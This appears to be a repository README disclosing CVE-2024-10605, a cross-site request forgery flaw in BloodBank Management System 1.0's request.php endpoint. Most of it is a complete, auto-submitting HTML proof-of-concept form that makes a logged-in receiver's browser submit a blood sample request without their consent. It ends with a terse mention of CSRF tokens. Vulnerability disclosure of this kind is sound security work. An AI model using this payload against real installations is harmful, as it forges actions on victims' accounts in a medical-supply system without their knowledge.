bevennyamande/cve-2024-10605Proof-of-concept for CVE-2024-10605, a CSRF vulnerability in BloodBank Management System 1.0 allowing unauthorized blood sample requests.
file/request.phpThere is a Cross Site Request Forgery on this endpoint /file/request.php which allows a remote user to initiate a blood sample request on the account of a receiver who is logged in, from the available blood sample of a selected hospital
Successful exploitation can lead to unauthorized actions on behalf of the victim. Additionally, this could be exploited by visiting malicious websites with the payload.
Below is an example of a CSRF POC Attack that initiates a blood sample request from a logged in receiver's account:
<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<form action="http://localhost.local/bloodbank/file/request.php" method="POST" enctype="application/x-www-form-urlencoded">
<input name="bid" value="16">
<input name="hid" value="3">
<input name="bg" value="B-">
<input name="request" value="Request+Sample">
</form>
<script>
document.querySelector("form").submit();
</script>
</body>
</html>
csrf tokens in your request